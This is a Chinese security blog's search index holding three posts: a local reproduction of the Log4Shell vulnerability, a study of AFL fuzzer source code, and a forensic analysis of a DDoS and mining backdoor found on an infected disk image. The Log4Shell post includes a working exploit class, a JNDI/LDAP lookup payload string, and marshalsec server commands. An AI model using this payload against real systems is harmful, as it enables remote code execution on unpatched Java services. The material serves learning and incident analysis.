-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
2632 lines (2223 loc) · 714 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Apache-log4j漏洞复现</title>
<url>/2021/12/10/Apache-log4j%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/</url>
<content><![CDATA[<h1 id="apache-log4j本地漏洞复现"><a href="#apache-log4j本地漏洞复现" class="headerlink" title="apache-log4j本地漏洞复现"></a>apache-log4j本地漏洞复现</h1><p><a href="Apache-log4j-poc.zip">POC下载</a></p>
<p>exp(弹出一个计算器)</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">exp</span> </span>{</span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> String [] cmd={<span class="string">"calc"</span>};</span><br><span class="line"> java.lang.Runtime.getRuntime().exec(cmd).waitFor();</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>Main</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.LogManager;</span><br><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.Logger;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> Logger logger = LogManager.getLogger(Main.class);</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> logger.error(<span class="string">"${jndi:ldap://127.0.0.1:1389/exp}"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>需要向pom.xml中导入以下配置</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependencies</span>></span></span><br><span class="line"> <span class="comment"><!-- https://search.maven.org/ --></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.logging.log4j<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>log4j-core<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>2.14.0<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> <span class="comment"><!-- https://search.maven.org/ --></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.logging.log4j<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>log4j-api<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>2.14.0<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependencies</span>></span></span><br></pre></td></tr></table></figure>
<p>把exp的java源码用<code>javac exp.java</code>生成exp.class,记得最好单独放到一个文件夹里,在到这个文件夹下,用python2开个http服务<code>python -m http.server 8899</code>,如下说明成功</p>
<p><img src="https://s2.loli.net/2021/12/10/d8AcUODlQP2RKxF.png" alt="image-20211210163035219"></p>
<p>复现之前,需要下载一个插件</p>
<p><code>git clone [email protected]:mbechler/marshalsec.git</code></p>
<p>用idea打开此项目,使用Maven生成jar包</p>
<p>先clean,然后package(中途可能会报错)</p>
<p><img src="https://s2.loli.net/2021/12/10/6wPGI5TUkXgipn3.png" alt="image-20211210163227931"></p>
<p>然后单独用命令<code>java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8899/#exp"</code></p>
<p><img src="https://s2.loli.net/2021/12/10/yALQ5SOj2mrpEqG.png" alt="image-20211210163848110"></p>
<p>运行后显示1389为监听端口,这也是为什么我的main函数中的端口为1389</p>
<p>这样就成功了</p>
<p><img src="https://s2.loli.net/2021/12/10/p45r2MFinb6OW8d.png" alt="image-20211210164000550"></p>
]]></content>
<tags>
<tag>漏洞复现</tag>
<tag>Web</tag>
</tags>
</entry>
<entry>
<title>AFL_FUZZ_Code_Learning</title>
<url>/2022/03/21/AFL-FUZZ-Code-Learning/</url>
<content><![CDATA[<h1 id="AFL-Fuzz-Souce-Code-Learning"><a href="#AFL-Fuzz-Souce-Code-Learning" class="headerlink" title="AFL Fuzz Souce Code Learning"></a>AFL Fuzz Souce Code Learning</h1><h2 id="afl-gcc-c"><a href="#afl-gcc-c" class="headerlink" title="afl-gcc.c"></a>afl-gcc.c</h2><h3 id="main函数"><a href="#main函数" class="headerlink" title="main函数"></a>main函数</h3><p>main的核心就两个函数,find_as和edit_params,从他们的名字可以大致推断find_as应该是用来找as文件或者目录的,edit_params应该是用来修改gcc的参数,加上一些宏定义啥的,在原有的基础上添加一些参数设置。最后通过execvp来执行前面编辑好(加了额外afl所需要的参数)的gcc命令</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>** argv)</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (isatty(<span class="number">2</span>) && !getenv(<span class="string">"AFL_QUIET"</span>)) {</span><br><span class="line"></span><br><span class="line"> SAYF(cCYA <span class="string">"afl-cc "</span> cBRI VERSION cRST <span class="string">" by <[email protected]>\n"</span>);</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">else</span> be_quiet = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (argc < <span class="number">2</span>) {</span><br><span class="line"></span><br><span class="line"> SAYF(<span class="string">"\n"</span></span><br><span class="line"> <span class="string">"This is a helper application for afl-fuzz. It serves as a drop-in replacement\n"</span></span><br><span class="line"> <span class="string">"for gcc or clang, letting you recompile third-party code with the required\n"</span></span><br><span class="line"> <span class="string">"runtime instrumentation. A common use pattern would be one of the following:\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">" CC=%s/afl-gcc ./configure\n"</span></span><br><span class="line"> <span class="string">" CXX=%s/afl-g++ ./configure\n\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"You can specify custom next-stage toolchain via AFL_CC, AFL_CXX, and AFL_AS.\n"</span></span><br><span class="line"> <span class="string">"Setting AFL_HARDEN enables hardening optimizations in the compiled code.\n\n"</span>,</span><br><span class="line"> BIN_PATH, BIN_PATH);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> find_as(argv[<span class="number">0</span>]);</span><br><span class="line"></span><br><span class="line"> edit_params(argc, argv);</span><br><span class="line"></span><br><span class="line"> execvp(cc_params[<span class="number">0</span>], (<span class="keyword">char</span>**)cc_params);</span><br><span class="line"></span><br><span class="line"> FATAL(<span class="string">"Oops, failed to execute '%s' - check your PATH"</span>, cc_params[<span class="number">0</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h3 id="find-as"><a href="#find-as" class="headerlink" title="find_as"></a>find_as</h3><p>find_as首先会传入afl-gcc的路径,然后通过getenv函数看是否存在AFL_PATH路径,如果存在则看afl_path/as路径是否可以访问,可以访问这个函数就直接返回了。如果之前getenv判断不存在AFL_PATH,则afl_path为null</p>
<p><img src="https://s2.loli.net/2022/03/20/5I6LwasZz2elvE1.png" alt="image-20220320213615018"></p>
<p>slash为afl_gcc的路径,通过strrchr取出/afl-gcc,dir根据slash知道了afl-gcc所在的目录从而判断出afl-as的目录,它猜测跟afl-gcc是同一个目录,所以之后加上了afl-gcc的父目录,这样来定位afl-as所在的路径,定位了afl-as的路径后赋值给tmp</p>
<p><img src="https://s2.loli.net/2022/03/20/NxSoEyFPdu4skjv.png" alt="image-20220320214737631"></p>
<p>再判断tmp(也就是afl-as)是否可以访问,可以访问<strong>find_as</strong>此函数就结束了</p>
<p><img src="https://s2.loli.net/2022/03/20/G2qWZ7Cu4o9INmX.png" alt="image-20220320215513179"></p>
<h3 id="edit-params"><a href="#edit-params" class="headerlink" title="edit_params"></a>edit_params</h3><p>首先为cc_params分配argc*8字节的内存空间,再看argv[0]是否包含’/‘,反正就是取出/之后的字符串,再看是不是afl-clang或者afl-clang++,如果两个都不是判断是不是afl_g++还是afl_gcc</p>
<p><img src="https://s2.loli.net/2022/03/20/d3X4a6KeJrHZjV2.png" alt="image-20220320220834677"></p>
<p>这里是afl_gcc,最后取环境变量AFL_CC的值,如果存在就把cc_params[0]设置为该值,如果不存在就设置为gcc</p>
<p><img src="https://s2.loli.net/2022/03/20/d2KNlPbq1z7X93T.png" alt="image-20220320221912533"></p>
<p>之后从argv[1]遍历argv参数,遇到-B、-integrated-as、-pipe参数就跳过,遇到-fsanitize=address或者-fsanitize=memory就设置aasan_set 为 1,遇到字符串包含了FORTIFY_SOURCE就把fortify_set参数设为1</p>
<p><img src="https://s2.loli.net/2022/03/20/1SwEfPvzMBlKRVj.png" alt="image-20220320225556935"></p>
<p>取出之前计算出来的as_path的路径,然后参数相当于-B as_path,这里as_path = 目录/AFL,再判断clang_mode和AFL_HARDEN是否开启,如果有就再加上对应的参数,-no-integrated-as、-fstack-protector-all</p>
<p><img src="https://s2.loli.net/2022/03/20/5nrKCwslbEaUJ1T.png" alt="image-20220320230414127"></p>
<p>再判断asan_set,开启的话就让AFL_USE_ASAN设置为1,如果存在AFL_USE_NASN,就添加参数-U_FORTIFY_SOURCE、-fsanitize=address,但是这两句语句执行之前说明了AFL_USE_ASAN和AFL_USE_MASN只能选一个,不能同时。区别在于前者-fsanitize=address,后者AFL_USE_MASN的-fsanitize=memory</p>
<p><img src="https://s2.loli.net/2022/03/20/UlSCgnFqKMPDt3p.png" alt="image-20220320230937239"></p>
<p>如果AFL_DONT_OPTIMIZE环境变量为空,则添加参数-g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1</p>
<p><img src="https://s2.loli.net/2022/03/20/sTMOfrLUWSqy3uQ.png" alt="image-20220320232250996"></p>
<p>如果存在AFL_NO_BUILTIN环境变量,则添加-fno-builtin-strcmp、-fno-builtin-strncmp、-fno-builtin-strcasecmp、-fno-builtin-strncasecmp、-fno-builtin-memcmp、-fno-builtin-strstr、-fno-builtin-strcasestr参数,最后cc_params的结尾为空,结束参数的编辑</p>
<p><img src="https://s2.loli.net/2022/03/20/vZ58twK6HNOj21V.png" alt="image-20220320232501229"></p>
<h2 id="afl-as-c"><a href="#afl-as-c" class="headerlink" title="afl-as.c"></a>afl-as.c</h2><h3 id="add-instrumentation(插桩关键代码)"><a href="#add-instrumentation(插桩关键代码)" class="headerlink" title="add_instrumentation(插桩关键代码)"></a>add_instrumentation(插桩关键代码)</h3><p>inf为要插桩程序汇编内容,while循环里按行读取text段设置instr_ok为1,说明现在开始是可插桩的,但是未必每行都需要插桩,比如遇到jmp,直接对此位置插桩一个随机数,遇到LBB或者L+数字的代表一个代码块,或者直接一个函数,于是将instrument_next设为1,跳到while循环下将此时的代码块插入一个随机数再将instrument_next设为0说明这段插完了不需要再插桩了。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">while (fgets(line, MAX_LINE, inf)) {</span><br><span class="line"> if(instr_ok && instrument_next && line[0] == '\t' && isalpha(line[1])){</span><br><span class="line"> fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,</span><br><span class="line"> R(MAP_SIZE));</span><br><span class="line"></span><br><span class="line"> instrument_next = 0;</span><br><span class="line"> ins_lines++;</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line"> if (line[0] == '\t' && line[1] == '.') {</span><br><span class="line"> if (!strncmp(line + 2, "text\n", 5) ||</span><br><span class="line"> !strncmp(line + 2, "section\t.text", 13) ||</span><br><span class="line"> !strncmp(line + 2, "section\t__TEXT,__text", 21) ||</span><br><span class="line"> !strncmp(line + 2, "section __TEXT,__text", 21)) {</span><br><span class="line"> instr_ok = 1;</span><br><span class="line"> continue;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> if (!strncmp(line + 2, "section\t", 8) ||</span><br><span class="line"> !strncmp(line + 2, "section ", 8) ||</span><br><span class="line"> !strncmp(line + 2, "bss\n", 4) ||</span><br><span class="line"> !strncmp(line + 2, "data\n", 5)) {</span><br><span class="line"> instr_ok = 0;</span><br><span class="line"> continue;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line"> if (line[0] == '\t') {</span><br><span class="line"> if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) {</span><br><span class="line"> fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,</span><br><span class="line"> R(MAP_SIZE));</span><br><span class="line"></span><br><span class="line"> ins_lines++;</span><br><span class="line"> }</span><br><span class="line"> continue;</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line"> if (strstr(line, ":")) {</span><br><span class="line"> if (line[0] == '.') {</span><br><span class="line"> if ((isdigit(line[2]) || (clang_mode && !strncmp(line + 1, "LBB", 3)))</span><br><span class="line"> && R(100) < inst_ratio) {</span><br><span class="line"> instrument_next = 1;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> else {</span><br><span class="line"> /* Function label (always instrumented, deferred mode). */</span><br><span class="line"> instrument_next = 1;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>汇编示例:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">main:</span><br><span class="line">.LFB2:</span><br><span class="line"> .cfi_startproc</span><br><span class="line"> endbr64</span><br><span class="line"> pushq %rbp</span><br><span class="line"> .cfi_def_cfa_offset 16</span><br><span class="line"> .cfi_offset 6, -16</span><br><span class="line"> movq %rsp, %rbp</span><br><span class="line"> .cfi_def_cfa_register 6</span><br><span class="line"> subq $32, %rsp</span><br><span class="line"> movl %edi, -20(%rbp)</span><br><span class="line"> movq %rsi, -32(%rbp)</span><br><span class="line"> movq %fs:40, %rax</span><br><span class="line"> movq %rax, -8(%rbp)</span><br><span class="line"> xorl %eax, %eax</span><br><span class="line"> leaq .LC2(%rip), %rax</span><br><span class="line"> movq %rax, %rdi</span><br><span class="line"> call puts@PLT</span><br><span class="line"> leaq -12(%rbp), %rax</span><br><span class="line"> movq %rax, %rsi</span><br><span class="line"> leaq .LC3(%rip), %rax</span><br><span class="line"> movq %rax, %rdi</span><br><span class="line"> movl $0, %eax</span><br><span class="line"> call __isoc99_scanf@PLT</span><br><span class="line"> movl -12(%rbp), %eax</span><br><span class="line"> cmpl $1, %eax</span><br><span class="line"> jne .L4</span><br><span class="line"> call f1</span><br><span class="line"> jmp .L5</span><br><span class="line">.L4:</span><br><span class="line"> movl -12(%rbp), %eax</span><br><span class="line"> cmpl $2, %eax</span><br><span class="line"> jne .L6</span><br><span class="line"> call f2</span><br><span class="line"> jmp .L5</span><br><span class="line">.L6:</span><br><span class="line"> leaq .LC4(%rip), %rax</span><br><span class="line"> movq %rax, %rdi</span><br><span class="line"> call puts@PLT</span><br><span class="line">.L5:</span><br><span class="line"> movl $0, %eax</span><br><span class="line"> movq -8(%rbp), %rdx</span><br><span class="line"> subq %fs:40, %rdx</span><br><span class="line"> je .L8</span><br><span class="line"> call __stack_chk_fail@PLT</span><br><span class="line">.L8:</span><br><span class="line"> leave</span><br><span class="line"> .cfi_def_cfa 7, 8</span><br><span class="line"> ret</span><br><span class="line"> .cfi_endproc</span><br></pre></td></tr></table></figure>
<h2 id="未完待续!"><a href="#未完待续!" class="headerlink" title="未完待续!"></a>未完待续!</h2><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><p><a href="https://eternalsakura13.com/2020/08/23/afl/">https://eternalsakura13.com/2020/08/23/afl/</a></p>
]]></content>
<tags>
<tag>AFL</tag>
<tag>Fuzz</tag>
</tags>
</entry>
<entry>
<title>DDos、挖矿木马的逆向分析实战</title>
<url>/2022/01/07/DDos%E3%80%81%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E7%9A%84%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/</url>
<content><![CDATA[<h2 id="挂载感染硬盘"><a href="#挂载感染硬盘" class="headerlink" title="挂载感染硬盘"></a>挂载感染硬盘</h2><p>在linux系统中挂载img镜像文件,我们需要挂载这个img文件</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/9ixoQdrknAD12Kb.png" alt="image-20211222150040845"></p>
<p>首先通过命令<code>fdisk 192.168.10.1-2021-11-29.img</code>然后<code>p</code>命令查看磁盘的分区情况,units为512bytes/sectors,然后根据下面device中start开始的2048,去计算offset,offset = 512 * 2048 = 1048576</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/DZjbE9k7BsOV4YH.png" alt="image-20211226174734936"></p>
<p>然后挂载分区,命令<code> mount -o loop,offset=1048576 192.168.10.1-2021-11-29.img /mnt/</code>,然后进入/mnt目录下就可以看了。</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/gd6ZXeKWUwEGYQp.png" alt="image-20211226174805477"></p>
<h2 id="linux敏感目录tmp分析"><a href="#linux敏感目录tmp分析" class="headerlink" title="linux敏感目录tmp分析"></a>linux敏感目录tmp分析</h2><p>可疑文件夹分别是Oct 17之后的这8个</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/tMDnHUdmsh6zqw7.png" alt="image-20211226174909213"></p>
<p>用clamscan分别对这8个文件夹进行扫描,并没有发现任何感染的文件</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/qHO6teLE4BsUgW9.png" alt="image-20211226175209909"></p>
<p>开机自启动排查</p>
<p>查看开机自启动程序,发现selinux和DbSecuritySpt在开机自启动中</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/Hwp6axEuvei97jU.png" alt="image-20211226175327581"></p>
<p>.ssh下的authoritized keys被攻击者访问或修改过</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/5vx7y6gKJrbD43q.png" alt="image-20220106154530439"></p>
<h2 id="分析DbSecuritySpt"><a href="#分析DbSecuritySpt" class="headerlink" title="分析DbSecuritySpt"></a>分析DbSecuritySpt</h2><p>发现木马的位置是在./etc/init.d/DbSecuritySpt,./etc/init.d/DbSecuritySpt是一个文本文件,文本里的861fa10b52文件已经有读写执行权限了</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/ZhEv4LtTd1XUsSw.png" alt="image-20211226175550589"></p>
<p>放沙箱分析发现是一个后门程序,属于远控木马</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/aN23C8GOwtD5rsA.png" alt="image-20211226165517183"></p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/5iBwsCZ4YmNqDM2.png" alt="image-20211226165758787"></p>
<p>继续分析selinux开机启动程序,发现也是一个后门程序</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/1YZvHyuSinCXaAp.png" alt="image-20211226170013614"></p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/zYw2yGmJENI9x5j.png" alt="image-20211226170335758"></p>
<p>查看是否加壳,并没有</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/c9EgXJiyn6bGK83.png" alt="image-20211226181158609"></p>
<p>直接放ida分析,字符串里面可以看到一些IP信息,加载内核命令,恶意攻击函数名,充满了恶意</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/ZNtp9TCxErgd7sY.png" alt="image-20211226181004757"></p>
<p>随后还有331个ip在木马程序里,猜测是331个肉鸡</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/W4TviQxPhDj1oEs.png" alt="image-20211226181427614"></p>
<p>分析main函数,程序逻辑很简单,CSysTool::CheckGatesType(v11);决定g_iGatesType类型,木马做什么,四个功能,分别是检查更新、MainBeikong,MainBackdoor(后门),MainSystool,MainMonitor</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">void</span> *v3; <span class="comment">// esp</span></span><br><span class="line"> CFileOp *v4; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">int</span> v5; <span class="comment">// eax</span></span><br><span class="line"> .....</span><br><span class="line"> .....</span><br><span class="line"> .....</span><br><span class="line"> .....</span><br><span class="line"> CSysTool::CheckGatesType(v11);</span><br><span class="line"> CSysTool::Ikdfu94();</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int8)CSysTool::IsUpdateTemporary(v12) )</span><br><span class="line"> {</span><br><span class="line"> CSysTool::DoUpdate((CSysTool *)argc, (<span class="keyword">int</span>)argv);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( g_iGatesType == <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> MainBeikong();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( g_iGatesType > <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( g_iGatesType == <span class="number">2</span> )</span><br><span class="line"> {</span><br><span class="line"> MainBackdoor();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( g_iGatesType == <span class="number">3</span> )</span><br><span class="line"> {</span><br><span class="line"> MainSystool(argc, (<span class="keyword">char</span> **)argv);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( !g_iGatesType )</span><br><span class="line"> {</span><br><span class="line"> MainMonitor();</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>((<span class="built_in">std</span>::<span class="built_in">string</span> *)v13);</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>((<span class="built_in">std</span>::<span class="built_in">string</span> *)v14);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>但是在四个分支执行之前,有一个Ikdfu94函数需要注意的,里面有一串很长的字符串</p>
<p><img src="https://re1own.github.io/assets/img/%E6%8C%96%E7%9F%BF%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%AE%9E%E6%88%98/RIsFWpr4GmtY6NV.png" alt="image-20211226202528577"></p>
